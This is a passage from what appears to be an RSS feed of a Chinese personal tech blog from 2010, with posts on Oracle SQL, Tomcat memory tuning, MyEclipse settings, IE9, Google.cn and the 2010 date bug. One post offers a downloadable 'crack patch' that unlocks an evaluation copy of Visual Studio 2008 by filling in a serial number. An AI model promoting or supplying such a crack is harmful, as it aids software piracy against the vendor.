&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;下面是三个演示的效果:&lt;/p&gt;
&lt;p&gt;&lt;img style="display: inline; border-width: 0px;" title="clip_image001" src="http://www.blogjava.net/images/blogjava_net/beansoft/WindowsLiveWriter/Struts2MIT_A069/clip_image001_3.jpg" border="0" alt="clip_image001" width="563" height="647" /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;img style="display: inline; border-width: 0px;" title="clip_image003" src="http://www.blogjava.net/images/blogjava_net/beansoft/WindowsLiveWriter/Struts2MIT_A069/clip_image003_3.jpg" border="0" alt="clip_image003" width="520" height="302" /&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=239</guid><pubDate>Thu, 08 Apr 2010 11:20:01 GMT</pubDate></item><item><title>【转】在Win7中VS2008的破解补丁</title><link>http://www.chendw.cn:8080/view.aspx?id=238</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/04/c0af9ae0042f461b9f7c713e9d9bf603.jpg" target="_blank"&gt;&lt;/a&gt;今天安装了VS2008，由于是90的评估版，按照原来在XP系统下，可以在反安装的时候，填写序列号来进行升级，但是在Windows7系统下，就没有那个输入框和升级按钮了。百度了一下，发现遇到这样的人还不算少，基本上都是说在安装前修改安装包里的一个文件，但是这样很麻烦，又要删除，又要重新安装，而且还要调出iso文件里的数据文件，真的是超麻烦，最后想了一下，于是用spy++看了一下，发现升级的输入框和按钮是隐藏到的，于是就写了这个工具将其显示出来，同时也帮助你把序列号填写好了，你只需要添加一下&amp;ldquo;升级&amp;rdquo;按钮即可完成！请看下面裁图。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;!--more--&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/04/c0af9ae0042f461b9f7c713e9d9bf603.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2010/04/c0af9ae0042f461b9f7c713e9d9bf603.jpg" alt="8F0FA6E198213A5B1BE3B6BC6FE1FDAB.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff0000;"&gt;补丁下载：&lt;/span&gt; &lt;a href="http://www.chendw.cn:8080/uploads/2010/04/8c4007e78510452e841e8799f812a5be.rar" target="_blank"&gt;UpgradeVs2008.rar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;2010-2-2:&lt;/p&gt;
&lt;p&gt;更新了可以支持英文版的VS2008。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style="COLOR: #0000ff"&gt;&lt;strong&gt;备注&lt;/strong&gt;：由于有很多网友下载了后使用时，不出现&amp;ldquo;升级&amp;rdquo;按钮和输入序列号的框框，这里给一个建议，就是以administrators（超级管理员）进入去使用即可，因为非管理员，系统限制了修改和获取系统句柄等权限。所以这个软件就会修改不到（获取不取）VS2008的维护界面里的控件。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原理&lt;/strong&gt;：通过找到VS的维护页，然后再找子控件，找到需要的子控件并将其显示、激活、并把可以使用的序列号填入来达到目的。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=238</guid><pubDate>Fri, 02 Apr 2010 13:09:28 GMT</pubDate></item><item><title>oracle中varchar2转换成clob</title><link>http://www.chendw.cn:8080/view.aspx?id=237</link><description>&lt;li&gt;&lt;span&gt;&lt;span&gt;alter&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;table&lt;/span&gt;&lt;span&gt;&amp;nbsp;Shop&amp;nbsp;&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span&gt;&amp;nbsp;texts&amp;nbsp;clob; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt;&amp;nbsp;shop&amp;nbsp;t&amp;nbsp;&lt;/span&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt;&amp;nbsp;t.texts=t.COMPANY_INTRO; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;alter&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;table&lt;/span&gt;&lt;span&gt;&amp;nbsp;shop&amp;nbsp;&lt;/span&gt;&lt;span&gt;drop&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;column&lt;/span&gt;&lt;span&gt;&amp;nbsp;COMPANY_INTRO; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;alter&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;table&lt;/span&gt;&lt;span&gt;&amp;nbsp;shop&amp;nbsp;rename&amp;nbsp;&lt;/span&gt;&lt;span&gt;column&lt;/span&gt;&lt;span&gt;&amp;nbsp;texts&amp;nbsp;&lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt;&amp;nbsp;COMPANY_INTRO;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;p&gt;&lt;a href="http://yuanyong.javaeye.com/blog/494323"&gt;&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=237</guid><pubDate>Wed, 24 Mar 2010 16:26:50 GMT</pubDate></item><item><title>谷歌关闭Google.cn 通过香港网站提供服务</title><link>http://www.chendw.cn:8080/view.aspx?id=236</link><description>&lt;p&gt;北京时间3月23日凌晨2点31分，google.cn自动跳转至google.com.hk，同时界面显示：&amp;ldquo;欢迎来到谷歌搜索在中国的新家&amp;rdquo;。北京时 间3月23日凌晨3点07分，雅虎新闻频道援引美联社的报道称，谷歌将转移中国大陆的搜索引擎服务，但会继续保持在中国大陆的其它业务服务。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;google.cn自动跳转至google.com.hk&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt;&amp;nbsp;&lt;!--more--&gt;&lt;/div&gt;
&lt;div&gt;&lt;strong&gt;北京时间3月23日凌晨2点31分&lt;/strong&gt;，google.cn自动跳转至google.com.hk，同时界面显示：&amp;ldquo;欢迎来到谷歌搜索在中国的新家&amp;rdquo;。&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;另据网友反映，若此前用户设置的是谷歌的个性化界面，则在输入google.cn时，域名不会有跳转现象。&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;strong&gt;UPDATE:谷歌声明：仍保留技术、销售办事处&amp;nbsp;&lt;/strong&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&lt;strong&gt;北京时间3月23日凌晨3点07分&lt;/strong&gt;，雅虎新闻频道援引美联社的报道称，谷歌将转移中国大陆 的搜索引擎服务，但仍会保留谷歌音乐、谷歌热榜、iGoogle等服务，以及在中国大陆的技术和销售办事处，以便为中国大陆的网民做技术支持服务以及继续 为中文版的搜索引擎做销售支持。但销售团队需要按照google.com.hk的有关事项行事。&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;谷歌表示，该决定来自于谷歌美国总部，没有任何的谷歌中国员工参与该决定。&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=236</guid><pubDate>Tue, 23 Mar 2010 00:26:26 GMT</pubDate></item><item><title>微软IE 9浏览器将更广泛支持HTML5</title><link>http://www.chendw.cn:8080/view.aspx?id=235</link><description>&lt;p&gt;&lt;a href="http://www.cnbeta.com/topics/31.htm"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Monkey_Bites网站发表了一篇文章，介绍了IE 9浏览器和我们可以期待的IE 9的新功能。微软预计在一周半之后举行的MIX会议上大力推广其IE 9浏览器。微软将展示IE 9的早期测试版和一些新的功能。&lt;!--more--&gt;&lt;/strong&gt;&lt;br /&gt;微软在MIX会 议上计划召开两个会议展示IE 9的新功能。一个会议的名称是&amp;ldquo;HTML5 Now: The Future of Web Markup Today&amp;rdquo;（HTML 5：目前Web标记语言的未来），另一个会议的名称是&amp;ldquo;Future of Vector Graphics for the Web&amp;rdquo;（Web向量图形的未来）。这些会议以及微软IE团队以前披露的信息让许多人认为微软的IE 9将比IE 8在更广泛的意义上支持HTML5。此外，我们能够看到更好的CSS支持和整个符合标准的情况。&lt;/p&gt;
&lt;p&gt;将负责展示HTML5的Molly Holzschlag说，她预计微软将更多地支持HTML5，特别要注意观察微软将研制浏览器存储和其它HTML5功能。&lt;br /&gt;&lt;br /&gt;微软是在2009年的PDC会议上推出IE 9的。IE 9对于所有的网页展现都利用图形处理器的功能。开发人员可以使用CSS、DHTML和JavaScript来利用这个功能。IE 9将内置一个新的Java虚拟机，具有更大的互操作性和标准支持。IE 9还将内置对CSS的支持。据Neowin网站今年1月披露，微软正计划增强IE 9浏览器的分页浏览功能。&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=235</guid><pubDate>Thu, 04 Mar 2010 04:59:05 GMT</pubDate></item><item><title>Win7配置IIS和PHP环境</title><link>http://www.chendw.cn:8080/view.aspx?id=234</link><description>&lt;p&gt;&lt;strong&gt;（1&lt;/strong&gt;&lt;strong&gt;）、采用理由：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;优点：最大化的桌面图形化操作系统，可维护性优秀。基于IIS v6.0/v7.0（2008），可以支持的脚本相当完整，不仅支持Linux无法支持的asp/asp.net，还可以安装php、mysql、zend实现php环境。同时，利用Serv-U可以实现ftp管理。操作简单，无需键入任何命令就可实现全能型主机。&lt;/p&gt;
&lt;p&gt;缺点：由于正版Windows价格昂贵，Windows 2003中文企业版一般价格在19000-30000，&lt;/p&gt;
&lt;p&gt;Windows 2008中文版在20000-25000。如果加装MSSQL，价格更要成倍增长&lt;/p&gt;
&lt;p&gt;成功案例：微软公司服务器集群&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;（2&lt;/strong&gt;&lt;strong&gt;）、操作步骤：&lt;!--more--&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;说明:由于安装Windows 2008无法在虚拟机中实现,主要是内存不够大。所以采用Windows 7 代替Windows 2008，采用IIS v7.0+php+mysql+zend构建操作环境。&lt;/p&gt;
&lt;p&gt;更多请见下载附件：&lt;a href="http://www.chendw.cn:8080/uploads/2010/02/2c0e40de13ce40899dbc8e8a7de80da9.doc" target="_blank"&gt;windows7-php.doc&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=234</guid><pubDate>Mon, 22 Feb 2010 07:43:32 GMT</pubDate></item><item><title>新年快乐</title><link>http://www.chendw.cn:8080/view.aspx?id=233</link><description>&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/02/b2b7736a651844f1a7ac58eded5ecc20.jpg" target="_blank"&gt;&lt;/a&gt;新的一年，新的开始。新的希望，新的生机。新的机遇，新的业绩。新的业绩创造更多财富，新的财富带来更多工资。祝你虎年月资千万，年薪上亿！&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/02/b2b7736a651844f1a7ac58eded5ecc20.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2010/02/b2b7736a651844f1a7ac58eded5ecc20.jpg" alt="2008122910351533.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=233</guid><pubDate>Fri, 12 Feb 2010 14:39:41 GMT</pubDate></item><item><title>转:java汉字转拼音代码(很全,可以解决2w多个汉字)</title><link>http://www.chendw.cn:8080/view.aspx?id=232</link><description>&lt;p&gt;汉字转化为全拼,码表利用输入法的码表导出，汉字信息非常全，平时见到的汉字&lt;br /&gt;转拼音的API只能处理几千个一级汉字，很多字都没有法查到，所以只好自己做一个汉字转拼音的API，该API除可以处理99％以上的汉字，而且可以返回多音字的读音。&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;点击下载 &lt;a href="http://www.chendw.cn:8080/uploads/2010/03/a8262589075d4be0a44e322248821d27.rar" target="_blank"&gt;CnToSpell.java.rar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=232</guid><pubDate>Thu, 04 Mar 2010 05:01:56 GMT</pubDate></item><item><title>tomcat内存溢出总结（转）</title><link>http://www.chendw.cn:8080/view.aspx?id=231</link><description>&lt;p&gt;&lt;a title="http://www.beckdim.cn/?p=110" href="http://www.beckdim.cn/?p=110"&gt;http://www.beckdim.cn/?p=110&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;在生产环境中tomcat内存设置不好很容易出现内存溢出。造成内存原因是不一样的，当然处理方式也不一样。&lt;br /&gt;这里根据平时遇到的情况和相关资料进行一个总结。常见的一般会有下面三种情况：&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.OutOfMemoryError: Java heap space&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.OutOfMemoryError: PermGen space&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.OutOfMemoryError: unable to create new native thread.&lt;!--more--&gt;&lt;br /&gt;对于前两种情况，在应用本身没有内存泄露的情况下可以用设置tomcat jvm参数来解决。（-Xms -Xmx -XX:PermSize&amp;nbsp; -XX:MaxPermSize）&lt;br /&gt;最后一种可能需要调整操作系统和tomcat jvm参数同时调整才能达到目的。&lt;br /&gt;第一种：是堆溢出。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 在JVM中如果98％的时间是用于GC且可用的 Heap size 不足2％的时候将抛出此异常信息。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 没有内存泄露的情况下，调整-Xms -Xmx参数可以解决。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -Xms:初始堆大小 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -Xmx:最大堆大小 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 但堆的大小受下面三方面影响：&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.相关操作系统的数据模型（32-bt还是64-bit）限制；（32位系统下，一般限制在1.5G~2G；我在2003 server 系统下（物理内存：4G和6G，jdk：1.6）测试 1612M，64为操作系统对内存无限制。）&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2.系统的可用虚拟内存限制；&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3.系统的可用物理内存限制。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 堆的大小可以使用 java -Xmx***M&amp;nbsp; version 命令来测试。支持的话会出现jdk的版本号，不支持会报错。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -Xms -Xmx一般配置成一样比较好比如set JAVA_OPTS= -Xms1024m -Xmx1024m&lt;/p&gt;
&lt;p&gt;第二种：永久保存区域溢出&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PermGen space的全称是Permanent Generation space,是指内存的永久保存区域。这一部分用于存放Class和Meta的信息,Class在被 Load的时候被放入PermGen space区域，它和和存放Instance的Heap区域不同,GC(Garbage Collection)不会在主程序运行期对PermGen space进行清理，所以如果你的APP会LOAD很多CLASS的话,就很可能出现PermGen space错误。这种错误常见在web服务器对JSP进行pre compile的时候。但目前的hibernate和spring项目中也很容易出现这样的问题。&lt;a href="http://www.javaeye.com/topic/80620?page=1"&gt;http://www.javaeye.com/topic/80620?page=1&lt;/a&gt; 的帖子有讨论的这个问题。可能是由于这些框架会动态class，而且jvm的gc是不会清理PemGen space的，导致内存溢出。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这一个一般是加大-XX:PermSize&amp;nbsp; -XX:MaxPermSize 来解决问题。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -XX:PermSize 永久保存区域初始大小&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -XX:PermSize 永久保存区域初始最大值&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这一般结合第一条使用，比如 set JAVA_OPTS= -Xms1024m -Xmx1024m&amp;nbsp; -XX:PermSize=128M -XX:PermSize=256M&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 有一点需要注意：java -Xmx***M&amp;nbsp; version 命令来测试的最大堆内存是 -Xmx与 -XX:PermSize的 和 比如系统支持最大的jvm堆大小事1.5G，那&amp;nbsp; -Xmx1024m&amp;nbsp; -XX:PermSize=768M 是无法运行的。&lt;br /&gt;第三种：无法创建新的线程。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这种现象比较少见，也比较奇怪，主要是和jvm与系统内存的比例有关。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这种怪事是因为JVM已经被系统分配了大量的内存(比如1.5G)，并且它至少要占用可用内存的一半。有人发现，在线程个数很多的情况下，你分配给JVM的内存越多，那么，上述错误发生的可能性就越大。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 产生这种现象的原因如下（&lt;a href="http://hi.baidu.com/hexiong/blog/item/16dc9e518fb10c2542a75b3c.html"&gt;从这个blog中了解到原因：http://hi.baidu.com/hexiong/blog/item/16dc9e518fb10c2542a75b3c.html&lt;/a&gt;）：&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 每一个32位的进程最多可以使用2G的可用内存，因为另外2G被操作系统保留。这里假设使用1.5G给JVM，那么还余下500M可用内存。这500M内存中的一部分必须用于系统dll的加载，那么真正剩下的也许只有400M，现在关键的地方出现了：当你使用Java创建一个线程，在JVM的内存里也会创建一个Thread对象，但是同时也会在操作系统里创建一个真正的物理线程(参考JVM规范)，操作系统会在余下的400兆内存里创建这个物理线程，而不是在JVM的1500M的内存堆里创建。在jdk1.4里头，默认的栈大小是256KB，但是在jdk1.5里头，默认的栈大小为1M每线程，因此，在余下400M的可用内存里边我们最多也只能创建400个可用线程。&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 这样结论就出来了，要想创建更多的线程，你必须减少分配给JVM的最大内存。还有一种做法是让JVM宿主在你的JNI代码里边。&lt;/p&gt;
&lt;p&gt;给出一个有关能够创建线程的最大个数的估算公式：&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (MaxProcessMemory - JVMMemory - ReservedOsMemory) / (ThreadStackSize) = Number of threads&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 对于jdk1.5而言，假设操作系统保留120M内存：&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.5GB JVM: (2GB-1.5Gb-120MB)/(1MB) = ~380 threads&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.0GB JVM: (2GB-1.0Gb-120MB)/(1MB) = ~880 threads&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 在2000/XP/2003的boot.ini里头有一个启动选项，好像是：&lt;strong&gt;/PAE /3G&lt;/strong&gt; ，可以让用户进程最大内存扩充至3G，这时操作系统只能占用最多1G的虚存。那样应该可以让JVM创建更多的线程。&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 因此这种情况需要结合操作系统进行相关调整。&lt;/p&gt;
&lt;p&gt;因此：我们需要结合不同情况对tomcat内存分配进行不同的诊断才能从根本上解决问题。&lt;/p&gt;
&lt;p&gt;参考资料（从这些资料中受益良多）：&lt;br /&gt;&lt;a href="http://www.javaeye.com/topic/80620?page=1"&gt;http://www.javaeye.com/topic/80620?page=1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ggmm.blog.sohu.com/117545379.html"&gt;http://ggmm.blog.sohu.com/117545379.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://hi.baidu.com/hexiong/blog/item/16dc9e518fb10c2542a75b3c.html"&gt;http://hi.baidu.com/hexiong/blog/item/16dc9e518fb10c2542a75b3c.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.wujianrong.com/archives/2006/12/javalangoutofmemoryerror_permg.html"&gt;http://www.wujianrong.com/archives/2006/12/javalangoutofmemoryerror_permg.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;from:http://www.blogjava.net/george/archive/2009/08/18/291579.html&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=231</guid><pubDate>Thu, 04 Feb 2010 15:52:54 GMT</pubDate></item><item><title>MyEclipse 优化方案（寡人机器非常实用）</title><link>http://www.chendw.cn:8080/view.aspx?id=230</link><description>&lt;p&gt;网上说了一大堆，又不敢乱改，先找了这几个试下，感觉非常爽，效果是非常明显的。 &lt;br /&gt;原文：&lt;a href="http://www.javaeye.com/topic/367955"&gt;http://www.javaeye.com/topic/367955&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;1 老是弹出Quick update error &lt;br /&gt;这个问题的解决办法是关闭自动更新 &lt;br /&gt;&lt;br /&gt;Windows &amp;gt; Preferences &amp;gt; MyEclipse Enterprise Workbench &amp;gt; Community Essentials, &lt;br /&gt;把选项 "Search for new features on startup"的前勾去掉即可. &lt;br /&gt;&lt;br /&gt;2 关闭updating indexes &lt;br /&gt;&lt;br /&gt;Window &amp;gt; Preferences &amp;gt; Myeclipse Enterprise Workbench &amp;gt; Maven4Myeclipse &amp;gt; Maven&amp;gt;禁用Download repository index updates on startup &lt;br /&gt;&lt;br /&gt;3 关闭MyEclipse的自动validation &lt;br /&gt;&lt;br /&gt;windows--&amp;gt;perferences--&amp;gt;myeclipse--&amp;gt;validation &lt;br /&gt;将Build下全部勾取消 &lt;br /&gt;&lt;!--more--&gt;&lt;br /&gt;如果你需要验证某个文件的时候，我们可以单独去验证它。方法是，在需要验证的文件上( 右键 -&amp;gt; MyEclipse -&amp;gt; Run Validation &lt;br /&gt;&lt;br /&gt;4 启动优化，关闭不需要使用的模块 &lt;br /&gt;&lt;br /&gt;Window &amp;gt; Preferences &amp;gt; General &amp;gt; Startup andy Shutdown 在这里列出的是MyEclipse启动时加载的模块 我这里只让它加载tomcat5 勾选 MyEclipse EASIE Tomcat 5&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=230</guid><pubDate>Thu, 04 Feb 2010 15:29:48 GMT</pubDate></item><item><title>VBA 7将随Office 2010一起到来</title><link>http://www.chendw.cn:8080/view.aspx?id=229</link><description>&lt;p&gt;VBA6已经将近10余年了，而今，VBA7即将到来。据微软Office Excel团队博客的一篇文章：VBA的新版本&amp;mdash;&amp;mdash;VBA7，将随Office 2010发布，支持能够在32位和64位Office上运行的代码的开发。以下是有关于新版VBA的详细技术信息：&lt;/p&gt;
&lt;p&gt;&lt;img src="http://www.cnbeta.com/articles/pic/view.gif" alt="" /&gt;&lt;strong&gt;查看:&lt;/strong&gt;&lt;a href="http://blogs.msdn.com/excel/archive/2010/01/27/programmability-improvements-in-excel-2010.aspx"&gt;Programmability Improvements in Excel 2010&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=229</guid><pubDate>Mon, 01 Feb 2010 12:55:48 GMT</pubDate></item><item><title>2010 真正的软件灾难年？</title><link>http://www.chendw.cn:8080/view.aspx?id=228</link><description>&lt;p&gt;很多人应该还记得本世纪初的那场&amp;ldquo;千年虫&amp;rdquo;风波，从现在的眼光看来，那场风波似乎是雷声大，雨点小。说得直接一点，简直像是一场骗局似的：世界似乎以 相当平静的方式度过了1999年的门槛，并且在2000年一整年也没有引发什么值得关注的软件系统故障，根本没有发生千年虫问题的鼓吹者所宣称的那种简直 世界末日般的灾难场景。然而，预言家们往往是对的，只是在时间的准确性方面差了那么一点儿&amp;mdash;&amp;mdash;这次，差了整整十年。&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;澳大利亚昆士兰州的银行系统，由于系统从2009年12月31日直接跳到了2016年1月1日，导致大量用户的信用卡提前失效。同时，各种定期交易也 陷入瘫痪，银行系统不得不紧急启用手工审核流程来处理巨潮般的交易流水。紧接着，德国银行协会（BdB）发表警告，说该协会下发行的高达3000万张银行 卡由于&amp;ldquo;千年虫延期十年发作的原因&amp;rdquo;而可能有部分功能无法使用。&lt;br /&gt;&lt;br /&gt;中国也遭遇了类似的问题，但问题目前看来集中于出租车行业。据悉，安徽芜湖、新疆乌鲁木齐、湖北随州、辽宁沈阳和锦州等地的几万辆出租车的计价器忽然 在2010年1月1日出现了价格归零的故障。&lt;br /&gt;&lt;br /&gt;问题并不限于业务运营系统，微软公司的Windows Mobile系统也出现了同样的&amp;ldquo;2016故障&amp;rdquo;。一个比较可笑的后果是大部分使用该系统的手机用户都在新年伊始就收到了&amp;ldquo;从未来发来的短信&amp;rdquo;，不过使用 某些时间授权的软件用户可就没那么幸运了，他们不得不联系厂商想法解决许可过期问题。比如赛门铁克小企业版本此前就遇到了在2009年12月31日晚上 11点59分以后发布的杀毒软件、反间谍软件和入侵检测软件更新都被认为是过期的问题，而常用的鲁大师软件更新前也出现了在2010年1月1日无法运行的 问题等。&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;2010问题从何而来？&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;千年虫问题看起来十分简单，但其背后的技术背景则是难以想像的复杂。在计算机系统中表示时间的方法，在业界缺乏统一的标准，各个厂商各自为政地实施了 很多时间表示方法于自己生产的系统中。由于时间在计算机的任何业务中都是基础性的，所以系统中用以表示时间的软硬件由于维护所带来的风险难以估计，所以基 本上不会被维护。&lt;br /&gt;&lt;br /&gt;随着时间的推移，这些系统的其它部分都已经与时俱进，唯有时间表示模块一如其旧地数十年不变。但是，数十年前，计算机存储器的造价极为昂贵，所以为了 省却一些存储用量，一般厂商都想了一些办法把时间表示方法中的&amp;ldquo;年份&amp;rdquo;部分只存储少于一百年的部分，这样就可以不必使用要表示数千个状态的存储用量来表示 时间中的&amp;ldquo;年份&amp;rdquo;了。&lt;br /&gt;&lt;br /&gt;但是，当时的系统设计师肯定无法预测的是，自己的短视设计会在几十年以后仍然成为最新系统的一部分。这样，一方面工程师的想法是&amp;ldquo;现在能省则省，反正 系统以后会被升级，当然也包括时间表示的这部分&amp;rdquo;，另一方面则是&amp;ldquo;时间表示模块实在太关键，谁也不要动它&amp;rdquo;。这两种设计和实践的冲突，是导致千年虫问题产 生的关键。&lt;br /&gt;&lt;br 